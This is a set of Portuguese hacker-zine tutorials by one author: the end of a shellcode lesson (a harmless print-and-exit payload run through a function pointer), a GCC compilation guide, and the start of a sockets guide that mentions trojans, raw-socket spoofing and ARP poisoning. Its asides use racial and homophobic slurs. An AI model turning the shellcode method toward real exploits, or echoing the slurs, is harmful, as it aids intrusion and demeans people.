0x0804837d <main+41>: xor %ebx,%ebx
0x0804837f <main+43>: int $0x80
0x08048381 <main+45>: movl $0x80484a8,(%esp)
0x08048388 <main+52>: call 0x804827c <puts@plt>
---Type <return> to continue, or q <return> to quit---


"disassemble main" eh o comando utilizado. Tendo em vista que "main" eh a funcao
principal, ou seja, o Entry Point de nosso "programa". Veja que nossas instrucoes
comecam a partir do endereco 0x08048365 (<main+17>) ate '0x0804837f'(<main+43>:).
Vamos buscar nossos opcodes agora. Como falei, vamos usar o 'gdb' ao inves do
objdump.


Black_Fox@Black_Machine:~$ gdb shellcode
GNU gdb 6.7.1
Copyright (C) 2007 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) x/xb main+17
0x8048365 <main+17>: 0x31
(gdb)
0x8048366 <main+18>: 0xc0
(gdb)
0x8048367 <main+19>: 0xb0
(gdb)
0x8048368 <main+20>: 0x04
(gdb)
0x8048369 <main+21>: 0x31
(gdb)

...

Para pegar os opcodes use o comando 'x/xb' mais o main+17 (Nesse caso). Emita o comando e
pressione a tecla [Enter] ateh alcancar o endereco final (main+43), mas existe um detalhe:


0x0804837c <main+40>: inc %eax
0x0804837d <main+41>: xor %ebx,%ebx
0x0804837f <main+43>: int $0x80
0x08048381 <main+45>: movl $0x80484a8,(%esp)


Repare que a instrucao de endereco 0x0804837f possui dois bytes (4 digitos em hexadecimal),
portanto, devemos pressionar [Enter] ateh pegarmos todo o opcode desta intrucao, eh bem
simples calcular o endereco de memoria.

...


(gdb)
0x804837e <main+42>: 0xdb
(gdb)
0x804837f <main+43>: 0xcd
(gdb)
0x8048380 <main+44>: 0x80
(gdb)


Veja que pego o opcode ateh o endereco de 'main+44', pois a proxima instrucao (main+45)
ultrapassa os codigos que digitamos em assembly. Vamos montar o nosso shellcode.


Resultado final:


-- cut --

#include <stdio.h>
#include <string.h>
#include <unistd.h>

char shellcode_rlz [] =

"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
"\x6a\x0a\x68\x42\x41\x41\x41\x89"
"\xe1\xb2\x06\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80";

int main (){

void (*call_shellcode)(); // <-- Criamos entao um ponteiro para funcao
call_shellcode=(void *)shellcode_rlz; // <-- Apontamos os opcodes para o pointer
call_shellcode(); // <-- Executamos o shellcode


puts ("Ter uma familia eh uma arte\n");
return 0;
}


-- cut --


Compilacao e execucao


Black_Fox@Black_Machine:~$ gcc shellcode.c -o shellcode -Wall
Black_Fox@Black_Machine:~$ ./shellcode
BAAA
Black_Fox@Black_Machine:~$


Vou ficando por aqui meus amigos, mas gostaria de dizer que estou preparando algo para
voces com relacao a shellcodes. Pretendo publicar brevemente um paper sobre shellcode
descrevendo detalhadamente o esquema, ainda pretendo escrever o que voces precisarao
saber de assembly no inicio do paper. Esse texto foi apenas uma "demonstracao" para um
caramadinha ae =7


Link's


Abaixo segue alguns link's p/ vc's entenderem mais sobre a "importancia" de se aprender
desenvolver shellcodes. Gostaria de lhes informar mais uma vez q estou escrevendo algo
mais avancado sobre shellcoding, com mais exemplos de syscalls e muito mais informacoes
para voces. Enfim, segue os tais links:


+---------------------- >>> -----+
Entendendo as sintaxes INTEL e AT&T
+----- >>> ----------------------+

[1] - http://www.w00w00.org/


+---------------------- >>> -----+
Algo sobre Heap

[2] - www.hunterhacker.xpg.com.br/Extras.zip

fonte: www.defcon.org
+---------------------- >>> -----+

Dica do dia:


Quando forem configurar algum filtro de URL, nao esquecam de bloquear web proxys
("Famosos"). how www.anonymouse.org .


ps: Para os que nao me conhecem gostaria de dizer q costumo ser meio "sarcastico".


http://www.hunterhacker.xpg.com.br/mina_mistery.JPG

[]'s


by

6_Bl4ck9_f0x6 - Viper Corp Group


[+ =======X=============X===========X====== +]
Viper Corp Group
Brazilian Underground Security

Titulo: Tutorial basico do GCC
Autor : David Diego D. F. Siqueira
A.k.a : 6_Bl4ck9_f0x6 (Raposa Negra)
Email : b-fox@bol.com.br

[+ =======X=============X===========X====== +]



"A livre expressao eh o que constroi uma nacao independentemente
da moeda e sua cotacao"
.
-- Rodolfo (Raimundos)



1.0 - Tutorial basico do GCC

2.0 - Introducao
2.1 - Algumas extensoes RECONHECIDAS pelo gcc
2.2 - Alguns parametros do gcc

3.1 - Entendendo as etapas de compilacao
3.2 - 1 Etapa - Pre-processador (Pre-processamento)
3.3 - 2 Etapa – Compilador
3.4 - 3 Etapa – Assembler
3.5 - 4 Etapa – Ligacao/Associacao - Linker (Linkador)


2.0 - Introducao


O que se segue eh um pequeno tutorial que escrevi sobre o GCC (que sem duvida nenhuma eh o
compilador mais utilizado por analistas de seguranca do mundo todo) por ser uma ferramenta
quase que indispensavel para qualquer desenvolvedor de softwares. A sigla GCC significa GNU
Compiler Collection ou 'em portugues': 'Colecao de Compiladores GNU'. Isso se deve ao fato
do GCC possuir varias versoes com suporte a linguagens como C, C++, Java, Treelang,
Fortran, Ada e Objective-C. A sigla GCC eh bem abrangente, pois GCC tambem significa 'GNU' C
Compiler, Compilador 'C' GNU, propriamente dito. Neste tutorial utilizarei o mesmo sobre a
plataforma Windows/W32. GCC apesar de ser uma ferramente nativa de sistemas Unix e inclusive
ambientada para tal, nao eh a unica ferramente portada para W32 bits, existem muitas outras
"ferramentas Unix" que foram portadas para Windows, como os comandos touch, cp, cat e mv.
Voce poderah baixa-lo separadamente ou para utiliza-lo tambem poderah baixar o IDE 'Dev-C++'
mediante a licensa GNU GPL - 'GENERAL PUBLIC LICENSE' em http://www.bloodshed.net . Esta
licenca de uso preve que voce poderah ter acesso completo ao codigo fonte do programa,
utiliza-lo, direito a redistribuicao do mesmo, alteracao de codigo fonte de acordo com
suas necessidades desde que voce compartilhe com a comunidade suas modificacoes e ainda lhe
da o "total direito de venda" sobre o software, tambem dando aos compradores os mesmos
direitos sobre o mesmo. Isso tudo desde que mantenha-se os creditos do criador original.
Voce ainda poderah contribuir financeiramente com este excelente projeto, contudo, nao
existe obrigatoriedade alguma junto a isso. Como anteriormente mencionado voce poderah usar
o gcc se utilizando do editor default do Dev-C++ ou poderah acessar seu binario diretamente,
indo ao diretorio '\Dev-Cpp\bin' com o comando 'cd' ou poderah inserir este diretorio no
PATH de seu sistema, onde poderah chamar o mesmo de qualquer parte do terminal. Para isso
edite o arquivo de inicializacao '\autoexec.bat', inserindo as seguintes linhas:

PATH=%path%;\Dev-Cpp\bin

Depois faca logoff para atualizar o registro e as alteracoes surtirem efeito ou digite esse
comando no shell mesmo e comece a usa-lo. Voce encontrarah o 'GCC' em qualquer distribuicao
linux "decente" por padrao. Voce poderah encontrar as ferramentas citadas abaixo nesse mesmo
diretorio. As utilizacoes do conhecimento aqui descrito sao quase que infindaveis, se tra-
tando do ponto de vista de seguranca e de um completo entendimento sobre os processos que
envolvem a criacao de um binario, binario(s) esse(s) que serao alvo de nossos debugging no
intuito de obtencao de falhas de programacao para um posterior processo de exploracao.


Veja a versao utilizada:

C:\Documents and Settings\David>gcc --version
gcc (GCC) 3.4.2 (mingw-special)


2.1 - Algumas extensoes RECONHECIDAS pelo gcc


Extensao - Comentario

.c - Codigo fonte escrito em C
.C .cc - Codigo fonte escrito em C++
.i - Software em C pre-processado
.ii - Software em C++ pre-processado
.S .s - Software em linguagem assembly
.o - Arquivo/programa objeto
.a .so - Estas sao as bibliotecas compiladas


OBS: .cpp (ou .CPP) eh a extensao p/ arquivos "supostamente" escritos em C++
in the Dev-C++.


2.2 - Alguns parametros do gcc


-E --- > Gera um arquivo pre-processado (Extensao .i)
-S --- > Gera um arquivo em Assembly
-o --- > Determina o nome do arquivo de saida/output. (Padrao: a)
-c --- > Gera um arquivo objeto ( .o)
-l --- > Determina o diretorio de busca por headers
-L --- > Determina o diretorio de buscas por bibliotecas
-lwsock32 --- > Linka a biblioteca wsock32 (Por exemplo) a um arquivo
-Wall --- > Mostra todas as mensagens d Warning (Advertencia/Aviso).
-w --- > Enibe as mensagens de warning
-Werror --- > Converte mensagens de waning em erro.
-v --- > Mostrar os comandos usados no processo de compilacao.


3.1 - Entendendo as etapas de compilacao

Antes de termos o arquivo executavel gerado(Extensao exe em windows elf em ambientes
Unix) nossos codigos passarao por algumas etapas, quatro para ser mais exato, ambas
serao descritas logo adiante. O fonte a ser compilado eh este:


C:\>cat luft.c
/* Deve existir alguem, em algum lugar... */

#include <stdio.h>

int main (){

puts ("Deve existir alguem, em algum lugar");
return 0;}


C:\>


3.2 - 1 Etapa - Pre-processador (Pre-processamento)


O pre-processador antes da compilacao do codigo fonte de um programa qualquer, verificarah
no mesmo a presenca de todas as diretivas de compilacao (Citadas posteriormente), tais como
#include, #define, etc. As diretivas de compilacao sao sempre precedidas de tralha (‘#’).
Encontra-doas, dependendo de qual seja, serao tratadas de maneira diferente. A diretiva
‘#include’, terah o seu arquivo de cabecalho referido incluido no codigo fonte do programa.
Exemplo: <stdio.h>. Quando o programa passa pela etapa de pre-processamento, o pre-proces-
sador, propriamente dito, se encarregarah de substituir o nome no cabecalho entre os sinais
‘<’ e ‘>’ pelo proprio arquivo de texto, que se encontra no diretorio padrao de pesquisas
de cabecalhos (.headers) do IDE ou compilador utilizado. O diretorio de buscas padrao do
Dev-C++ eh o '\Dev-Cpp\include\',

 
encontra-los.


Pre-processando com o gcc:


C:\>gcc -E luft.c -o luft.i & dir luft.i
O volume na unidade C é SexyMachine
O número de série do volume é 9424-DB96

Pasta de C:\

25/10/2008 12:59 664.230 luft.i
1 arquivo(s) 664.230 bytes
0 pasta(s) 3.210.997.760 bytes disponíveis

C:\>


Neste exemplo acima eu pre-processo (-E) o arquivo luft.c e nomeio a saida (-o) como
luft.i, o '.i' eh a extensao de arquivos pre-processados ;), logo em seguida listo
(dir) o arquivo criado para checar a existencia do mesmo. Veja como se parece um
programa pre-processado:


C:\>cat luft.i | more
# 1 "luft.c"
# 1 "<built-in>"
# 1 "<command line>"
# 1 "luft.c"


# 1 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 1 3
# 19 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 3
# 1 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/_mingw.h" 1 3
# 20 "C:/Dev-Cpp/bin/../lib/gcc/mingw32/3.4.2/../../../../include/stdio.h" 2 3
-- Mais --

Se nao especificarmos uma saida (-o) nesta etapa, o resultado acima nao serah
gravado em um arquivo em disco, mas sim na shell. Nesta etapa o gcc utilizara o
utilitario cpp. Veja a versao do cpp utilizada no meu teste:


C:\Documents and Settings\David>cpp --version
cpp (GCC) 3.4.2 (mingw-special)
Copyright (C) 2004 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


3.3 - 2 Etapa – Compilacao


O compilador pega os dados previamente pre-processados e transforma os mesmos
em instrucoes em assembly, que eh a linguagem mais proxima de instrucoes de ma-
quinas. Na verdade o Assembly eh uma representacao legivel de tais instrucoes,
por isso a mesma eh uma das linguagens que mais se aproxima do que costumamos
chamar de "linguagem de maquina", pois cada instrucao em Assembly eh convertida
diretamente em OpCodes, que sao os codigos realmente executados pelo processador.


C:\>gcc -Wall -S luft.i -o luft.s & cat luft.s | more

.file "luft.c"
.def ___main; .scl 2; .type 32; .endef
.section .rdata,"dr"
.align 4
LC0:
.ascii "Deve existir alguem, em algum lugar\0"
.text
.globl _main
.def _main; .scl 2; .type 32; .endef
_main:
pushl %ebp
movl %esp, %ebp
subl $8, %esp
andl $-16, %esp
movl $0, %eax
addl $15, %eax
addl $15, %eax
-- Mais --


Neste exemplo eu transformo em assembly (-S) o arquivo pre-processado luft.i
e nomeio a saida (-o) para luft.s, '.s' eh a extensao de arquivos em assembly
Logo em seguida eu visualizo o seu conteudo (cat luft.s) paginando o mesmo
(more - mais). Usei o '-Wall' para o gcc mostrar-me os warnings, se os tais
existirem...


3.4 - 3 Etapa – Assembler (Montador)


Como o proprio nome jah indica, esta etapa por sua vez pega os dados jah conver-
tidos em assembly e os transforma em arquivos objeto, que possuem a extensao .o
em sistemas derivados do Unix e .obj sobre a plataforma MS-DOS. Estes arquivos
jah estao em binario. O termo compilar eh bastante generico, normalmente eh uti-
lizado para designar o ato de transformar codigos em executaveis 'englobando'
todas as etapas de compilacao, mas podemos utilizar este termo para referenciar
apenas esta etapa. Sao os arquivos objeto que instruem as bibliotecas, que por
sua vez fazem chamadas ao sistema, p/ ser mais especifico as funcoes sao con-
vertidas com seus respectivos parametros em uma linguagem entendida pelas bi-
bliotecas. Veja essa ilustracao:


+-----------+
| .o - .obj |
+-----------+
|
|
V
+-------------------+
| API - Biblioteca |
+-------------------+

/ | \
/ | \
V
+------------------------------+
| Kernel - Nucleo do sistema |
+------------------------------+


C:\>gcc -c luft.s & dir luft.o

Repare que mesmo estando sobre a plataforma DOS (Aspas, pois na verdade estou
no MS-Windows) o 'gcc' cria um arquivo com a extensao .o se nao especificarmos
a saida (-o). Pois como falei essa eh uma ferramenta ambientada para Unix. Na
etapa de montagem o gcc utiliza o montador nativo em Unixes, o 'as' (GAs - GNU
Assembler).


C:\Documents and Settings\David>as --version
GNU assembler 2.15.91 20040904
Copyright 2002 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License. This program has absolutely no warranty.
This assembler was configured for a target of `mingw32'.


3.5 - 4 Etapa – Ligacao/Associacao - Linker (Linkador)


Aqui que nosso arquivo objeto vai ser "linkado"/Associado as bibliotecas.
Existem funcoes especiais em C, que apenas estao disponiveis quando associamos
("linkamos") os arquivos objeto as bibliotecas nao inclusas no Dev-C++. Um
exemplo eh a biblioteca de socket do Windows, no qual contem funcoes p/ comuni-
cacao entre redes. Uma API nada mais eh que um conjunto de funcoes contidas em
uma biblioteca. Os arquivos executaveis instruem sua "parte objeto" que contem
as instrucoes devidamente convertidas, a chamar funcoes, essas por sua vez es-
tao contidas nas bibliotecas e que foram associadas ("linkadas") aos arquivos
objeto. As bibliotecas ao receber as instrucoes compiladas dos arquivos objeto
enviam instrucoes p/ o kernel do sistema que vai, por sua vez, executar uma
determinada acao. O diretorio de busca de bibliotecas padroes do 'Dev-C++' eh
o '\Dev-Cpp\lib'. Quando voce precisar usar funcoes de alguma API e que a
mesma nao estah disponivel no diretorio de buscas padrao deste IDE, voce terah
que linkar seus arquivos objetos a bibliotecas do Windows, como a winsock, por
exemplo. Pois eh esta biblioteca que irah conter as funcoes que os arquivos
objeto chamam, eh ela que interpretarah as instrucoes assembladas no objeto e
repassar as instrucoes p/ o sistema operacional. Um "grande parte" de meus
programas utiliza a biblioteca 'wsock32' do windows, esta library nao eh
inclusa no diretorio default de buscas do Dev-C++, por isso voce terah que
linkar o arquivo .obj a esta API para poder compilar a maioria dos programas
da Viper Corp. Usando o Dev-C++ basta ir em 'Tools' depois 'Compile options' e
marcar a caixa de selecao onde estah escrito 'Add these commands to the linker
command line'. Para logo em seguida digitar '-l wsock32' abaixo. Repare no
comando '-l'. Este especifica a biblioteca a ser -linkada ao arquivo .obj.
Como voce pode observar meu IDE estah em ingles US (United States). Como o gcc
procura as bibliotecas padroes em diretorios padroes, nao precisamos de fato
linkar "manualmente" o arquivo '.o' e nao precisamos executar cada etapa desta
manualmente, portanto se quisermos logo ter o arquivo .exe entao digitamos
apenas gcc luft.i, gcc luft.s ou gcc luft.o, ambos os casos geraria o 'exe',
mas se nos quisermos especificar uma biblioteca em especial e linkalas dire-
tamente ao .o no processo normal, bastaria digitarmos:

C:\>gcc -lnome_da_lib1 -lnome_da_lib2 luft.o

Neste exemplo "-linko" as bibliotecas 'nome_da_lib1' e 2 ao arquivo objeto,
mas tambem poderiamos linkar em qualquer etapada de compilacao. O mais comum
eh iniciarmos o processo de compilacao a partir do codigo fonte:

C:\>gcc -o deve luft.c

C:\>deve.exe
Deve existir alguem, em algum lugar

C:\>


Nesta etapa o utilitario utilizado eh o ld.

C:\Documents and Settings\David>ld -version
GNU ld version 2.15.91 20040904
Copyright 2002 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License. This program has absolutely no warranty.

C:\Documents and Settings\David>

Recapitulando:

C:\>gcc -E luft.c -o luft.i

C:\>gcc -S luft.i

C:\>gcc -c luft.s

C:\>mv luft.o luft.obj

C:\>gcc -lwsock32 luft.obj

C:\>a
Deve existir alguem, em algum lugar

[]'s

by

6_Bl4ck9_f0x6 - Viper Corp Group



{}============================================{}
{}=========== CORPORAÇAO VIBORA =============={}
2006-2008 by 6_Bl4ck9_f0x6
A.C.H.U.B
A Cena Hacker Underground Brasileira.


char *titulo[]={

"[=] + =================[####]================= + [=]\n",
" *** Berkeley socket em C [_Parte1] *** \n",
" XxX VIPER CORP GROUP XxX\n",
" <-> Underground Max <->\n",
"[=] + ================[####]================= + [=]\n\n"};


[00]. Introducao.
[01]. Requisitos para um bom entendimento e iniciando.
[02]. Criando (Declarando =) um socket.
[03]. Os PRINCIPAIS tipos de socket e como funcionam.
[04]. Abrindo um socket.
[05]. Tipos de ordenamentos de bytes.
[06]. Estrutura de conexão.
[07]. Funcoes de conversão de ordenamento de bytes.

[08]. Funcoes de socket [Apenas as importantes estao "no indice"]

08.1 A funcao connect ();
08.2 A funcao bind ();
08.3 A funcao listen ();
08.4 A funcao accept ();
08.5 A funcao getpeername (); // Ela eh especial ehehe
08.6 A funcao send ();
08.7 A funcao write ();
08.8 A funcao read ();
08.9 A funcao recv ();
08.10 A funcao sendto ();
08.11 A funcao recvfrom ();
08.12 A funcao shutdown ();

[09]. Convertendo nomes de host.

[**]. Capitulo sem nome eheheh.


Atençao: Este documento foi originalmente escrito para o forum thebuggers no qual tenho
o prazer de ser membro. http://www.thebuggers.in Seja um membro deste excelente
forum underground!


"Um sonho que se sonha soh, eh soh um sonho que se sonha soh... mas
sonho que se sonha junto, eh realidade."


- Raul Seixas

Email: b-fox@metasploit-br.org
MSN: ratao666@hotmail.com



Atençao: ESTE DOCUMENTO AINDA ESTA' EM DESENVOLVIMENTO, ESTE Eh
APENAS O COMEÇO... Para obter a versao final sempre de
uma olhada nas novas publicaçoes do thebuggers.

- 00 Introdução

Hi! Vou passar pra voces um pouco do esquema de criação de sockets em C que ao contrario
do q a maioria pensa, nao eh um bicho de sete cabeças como ja ouvi muitos manos falarem
por ai, tendo em vista q programação de socket em ambiente unix eh mais facil do que p/
windows, achei melhor explicar PRIMEIRAMENTE para essa arquitetura, mas fique tranquilo
porque MUITAS functions que iremos utilizar em Unixes, tambem utilizamos em Windows.
Obvio que em outros textos irei falar sobre programação de socket em C for windows, mas
agora vamos nos focalizar nos unixes. Acho que voces devem saber que se voce tiver
conhecimentos em progamação d socket automaticamente vc estará capacitado a desenvolver
aplicativos que mau utilizados podem ser considerados ilicitos (eheheh), tais como:
Scanners, Backdoors, Sniffers, etc. Então isso significa que se voce ta usando 1 trojan
p/ entrar em algum sistema, voce ta usando um socket, se voce ta usando um scan, vc ta
usando um socket, se sua namorada te traiu com um negão voce ta usando um, par d chifres
bem grande cretino! Desculpem ae, tipo, minha mina me trocou por um negão sabe
(Dae to revoltado:). Eh importante mencionar o nome da API de socket q iremos trabalhar
aqui, enfim, vamos la -> Iremos trabalhar com Berkeley socket que eh a interface (API -
Application Programming Interface) de programação mais famosa do Unix, o nome dessa
biblioteca deriva de uma analogia que diz que portas equivalem a tomadas (Isso eh bem
tosco). Exemplo: Vc se conectou em uma porta, isso significa q voce se conectou em uma
tomada. Berkeley foi o canto que desenvolveram o BSD like da vida (:P). Bem, para ser +
especifico o BSD foi desenvolvido na University of California EM Berkeley, no qual alem
de desenvolver ainda se encarregou da distribuição de uma versão Unix que continha
protocolos de ligação inter-redes, o nosso conhecido TCP/IP. Eh importante lembrar q a
API anteriormente citada ja faz parte do nucleo do sistema...:)

- 01 Requisitos para um bom entendimento e iniciando

Vamos parar d conversa e vamos logo botar a mão na massa. Eh requisito inicial p/ um bom
entendimento, que o leitor tenha conhecimentos basicos da linguagem C, e um pouco de
conhecimento em TCP/IP tambe'm se faz necessario, mas nada de outro mundo, relaxa amigo.
Primeiramente (Como tudo no C) temos q inserir os headers q contem as funções, NAO irei
falar de todas as funções POR HORA, mas as principais funções de socket iremos abordar
(Obvio...=).

Go! Go! Go!

#include <sys/types>
#include <sys/socket>

Eh nesses headers que estao contidas as PRINCIPAIS funções de socket, funções essas que
irei demonstrar a utilização nessa primeira parte:

socket (), bind (), listen (), accept (), send (), recv (),
sendto (), recvfrom (), shutdown (), connect ().

OBS: Iremos utiliza POR HORA apenas estas... E MAIS algumas =).

Eh importante lembrar que ainda temos q inserir determinador headers p/ utilizar funcoes
e estruturas que sao padroes em todos os progs de socket, mas q nao estao nestes headers
acima. Um exemplo eh a funcao htons() e a struct sockaddr_in (Ambas serao descritas logo
mais), p/ utilizar as mesmas devemos inserir no nosso src o header netinet/in.h ou seja:

#include <netinet/in.h>

E para usar funcoes como inet_addr e inet_ntoa (por exemplo) devemos incluir no nosso
fonte a biblioteca 'arpa/inet.h'. Existe 1 truque amigo, eh bastante simples, quando vc
nao souber em qual header uma determinada funcao esta, basta voce ir neste diretorio:

/usr/include

E procurar a tal funcao baseando-se pelo diretiva de compilacao '#include' no codigo
fonte do programa q voce quer estudar, abra o header e procure pela funcao, simples =)

- 02 Criando (Declarando =) um socket

Bem, para criar um socket apenas faça isso:

int Sock;

Ahamm! Achou que era um bicho de 7 cabeças??? Declarar um socket nada mais eh q criar 1
variavel do tipo integer para armazenar um descritor de socket, pois a funcao 'socket()'
(Descrita logo mais) retorna um numero "INTEIRO". Aposto que vc ja leu em muitos textos
que trabalhar com socket eh parecido com o esquema de FILE's, onde criamos um descritor
e utilizamos este descritor p/ manipular os arquivos, pois eh, eh exatamente isso cara!!
Criamos um descritor d socket e manipulamos o mesmo ao longo de nosso codigo utilizando
as functions... (Obvio! =) Very Easy Baby!

- 03 Os PRINCIPAIS tipos de socket e como funcionam


Vamos a nossa velha ilustração:

-------------------------
Application Layer
Payload/Dados
-------------------------
Transporte
TCP - UDP - RAW ---- > AQUI OS PRINCIPAIS TIPOS DE SOCKET!
-------------------------
Modulo IP
[Rede - OSI]
[Internet TCP/IP]
-------------------------
---- > ARP - Addres Resolution Protocol
Data Link (Enlace)
-------------------------
PHYSICAL
Interface de rede
-------------------------


Essa ilustração foi retirada e adaptada de um outro txt meu no qual estou falando sobre
encapsulamento de dados no modelo OSI e TCP/IP, recomendo fortemente que vc leia amigo,
mas nao vem o caso agora se voce ja sabe o basico d TCP/IP (lembra q eh requisito basico
para um BOM ENTENDIMENTO?), mas se voce não sabe do que eu estou falando por favor leia
o texto, procurem os post's no orkut da vida ou em algum forum por ae. Ei ei ei! Baixem
o meu txt aqui:

http://www.hunterhacker.xpg.com.br/Encapsulamento.txt

Eh + speed ;) Apenas gostaria que vc reparase onde se encontra as 3 principais gracinhas
que iremos mecher no encapsulamento de dados, ou seja, os tipos de socket encapsulam ou
"Multiplexão", desencapsulam ou desmultiplexão (Como queira =) os dados na camada de
transporte nos modelos OSI e TCP/IP.


-------------- -----------
|Desmultiplexar| |Multiplexar|
-------------- -----------

^ |
| |
| V

Fluxo de dados Fluxo decendo
seguindo de das Aplicações
PHYSICAL para para
Aplicação. PHYSICAL.


OBS: Visualize a ilustração acima com algum Browser(Como o firefox por exemplo) ou algum
editor de texto que preste (Para uma melhor visualização).


Resumindamente, quando um Frame Ethernet chega a camada de 'Enlace' (Data Link) onde
esta' o drive Ethernet, ele pode passar pelo modulo ARP ou pelo modulo IP, no caso do
IP ele consequentemente ira seguir para um de nossos principais tipos de socket. Ja no
caso do ARP o servidor ira checar em uma tabela armazenada na memoria (chamada de 'cache
ARP') informações sobre associações d endereço IP com MAC do destino dos dados, caso ele
não encontre a estação em sua tabela então o nó emite um tipo de trasmissão de dados
chamada de Broadcast onde todas as maquinas da rede recebem o pacote, processam o mesmo,
mas apenas a maquina d destino responde, a solicitação feita eh chamada de 'ARP Request'
perguntando algo mais ou menos como:

Arp request

- De quem eh esse IP!? Faça-me o favor de me dar seu MAC para eu entregar p/ sua iface
o pacote que eu acabei de receber meu fio, preciso de seu MAC para entregar.

Arp reply

A maquina receptora diz:

- Esse IP eh meu manoh!! Pega meu MAC (Endereço da placa de rede) ae e me manda
o pacote viadinho!

Depois disso o gateway atualiza sua tabela e quando chega dados ele vai retransmitir os
mesmos se baseando pela associação (-> IP/MAC <-) em seu cache ARP. Um broadcast eh
frequentemente emitido em uma rede, a principal função do cache ARP eh reduzir o atrazo
no encaminhamento d pacotes na rede, mas mesmo assim ainda temos os segundos de espera
ate q o gateway envie o broadcast com a solicitação 'Request' e espere 1 resposta (Arp
Reply)rsrs Por isso eh melhor adicionar logo entradas staticas ao cache ARP do gateway,
assim quando um pacote chegar o gateway ja sabe onde tem que mandar. Agora smile =) E
tem a questão do envenenamento da tabela ARP, mas vamos pular essa parte, brevemente
estarei dispobilizando meu soft de arp poisoning... Nao percam!! Raw socket!! =) Mas vc
ja sabe como previnir a SABOTAGEM da tabela... certo? (Static's Baby =). Mas nem sempre
eh uma boa coisa adicionar entradas estaticas ao cache arp do gateway, pois alguma ma-
quina na rede pode ter sua placa de rede ethernet subistituida por conta de problemas
tecnicos e tals, dai quando existem entradas romdomicas não temos que nos preocupar com
isso, pois avera sempre um broadcast para atualizar o cache do gateway. Isso significa
que o gateway d tempos em tempos discarta a tabela atual e troca por 1 mais atualizada.

Dependendo do protocolo contido no cabeçalho IP ele poderá passar por TCP, UDP e afins.
Repare na ilustração acima (mais proxima) que o drive Ethernet e os modulos IP, TCP e
afins podem ser um desmultiplexadores do Frame se o fluxo seguir da tal camada fisica
(PHYSICAL) para as aplicações de rede e podem ser multiplexadores no processo inverso.
Tambem poderas ver que os principais tipos de socket são: TCP, UDP e RAW.

Onde:

-----------------------------------------------------------------------------------
|Tipo de socket - Nome de guerra - Descrição |
-----------------------------------------------------------------------------------
|TCP -> SOCK_STREM Veja mais em baixo (Hum...) |
|UDP -> SOCK_DGRAM Vejam mais em baixo (Que baitolagem :P)|
|RAW -> SOCK_RAW Idem |
----------------------------------------------------------------------------------

[Desc TCP] -> Stream Sockets: Com este tipo d Socket podemos ler a gravar em 1 conexão,
eu quiz dizer q podemos usar o MESMO socket para tal. Existem varias aplicações d rede
que utilizam SOCK_STREAM, entre elas estão -> Telnet, Beast (TJ muito loco que os caras
adoram deixar indetect Uiuiui!! =), FTP, etc... Ei ei ei! Ja que voce sabe o que eh TCP
tambem deve saber que existe uma certa confiabilidade no envio e recebimento de dados,
pois caso aja algum erro no envio de pacotes existe a tal da retransmissão e tals ;)

[Desc UDP] -> Datagrams Sockets: Com esse tipo de socket (SOCK_DGRAM) apenas podemos
fazer uma coisa com o socket, ou podemos gravar nele, ou receber dados atravez dele,
jamais as duas coisas ao mesmo tempo. Ou voce empurra, ou voce recebe...:P huahauhauh!!
Como voce deve ter reparado esse tipo de socket se utiliza de UDP e como esse protocolo
nao eh mutio confiavel (*Veja os seguimentos do Header em rfc's da vida) nao existem
GARANTIAS de que o pacote vai chegar ao seu destino. Um aviso importante rapaziada do
hacking feliz. O MTU padrão de redes Ethernet eh de 1500, ou seja, voces lembram que o
UDP nao faz gerenciamento de sequencia de pacotes? Ou seja, evite desenvolver programas
que envie dados maiores que a MTU de uma determinada rede, pois caso aja a tal da
fragmentação poderá dar tudo errado ;P Frequentemente voce ouvira o termo: "Socket nao
orientado a conexao"
ou "Socket sem conexao". Esses termos sao a desinencia para esse
tipo de socket, pois o mesmo se utiliza do protocolo UDP, mas vale lhes dizer q apesar
deste fato, ainda podemos usar a funcao 'connect ()' [Que sera descrita adiante].

[Desc RAW] -> Aqui que o bicho pega manoh }-) Saca soh na risada malefica: Huahuaha!!!,
Huahuahuahauh, Uhauhauhauhauha, ehehe. Com essa belezinha podemos literalemente visua-
lizar as tripas do pacote, podemos ir la no fundo do coração dele e resgatar qualquer
tipo de informação de la. Tambem podemos escrever pacotes na unha, inserindo dados de
todos os cabeçalhos manualmente, coisa q nao eh possivel com SOCK_STREAM e SOCK_DGRAM.
Vc nao pode imaginar o tamanho do poder deste tipo de socket, podemos fazer SYN Scan's,
Sniffers, ferramentas de spoofing e todo tipo de malandragem que sua mente conseguir
imaginar. Escutei uma historia de que RAW socket abre as interfaces de rede p/ leitura
ehehe, tipo, como ele vai abrir as interfaces se ele c localiza na camada d Transporte?
Huahuahuah!!! OBS: -> Apenas root pode utilizar esse tipo de socket, porque será??? }-)
Serio, vou tentar deixar de molecagem apenas para explicar melhor o poder do RAW, tipo,
com sockets comuns (que estamos vendo neste documento ...:) criamos uma aplicação que
ira enviar e receber dados atravez da rede, ateh ai tudo bem, temos toda a mordomia
de digitar algumas linhas de codigo e o Kernel do sistema constroi para nos a camada de
Transporte (no model TCP/IP) e empurra pilha abaixo, ainda constroi a camada 'Internet'
(Também no modelo TCP/IP) e empurra pilha abaixo e para finalizar seu proprio hardware
trata do resto. Agora em RAW, tudo que o sistema fazia por nos, todo o trabalho que ele
tinha eh passado para o programador, podemos manipular cada detalhe de 1 pacote d dados
e inclusive forjar endereço de origem, etc.

Existem mais alguns tipos de socket como SOCK_RDM e SOCK_SEQPACKET, mas creio que esses
nunca devam ser citados por mim, vamos julgar aqui q quem manda so' sao 3 tipos, assim
eu não perco meu tempo explicando m3rda q muito provavelmente nunca precisaremos usar.
Aprender essas porras serve apenas p/ ocupar espaço em nossas mentes, onde apenas cabe
